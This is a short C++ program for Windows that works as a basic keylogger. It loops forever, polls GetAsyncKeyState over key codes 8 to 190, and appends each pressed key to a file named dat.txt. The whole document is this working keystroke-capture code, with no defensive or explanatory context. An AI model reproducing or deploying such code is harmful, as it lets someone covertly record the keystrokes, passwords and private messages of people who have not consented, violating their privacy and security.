#include <iostream> #include <string> #include <fstream> #include <windows.h> using namespace std; int main() { while (1) { Sleep(10); for (int KEY = 8; KEY <= 190; KEY++) { // determines whether the key is pressed or not if (GetAsyncKeyState(KEY) == -32767) { fstream LogFile; LogFile.open("dat.txt", fstream::app); if(LogFile.is_open()){ LogFile << char(KEY); LogFile.close(); } } } } }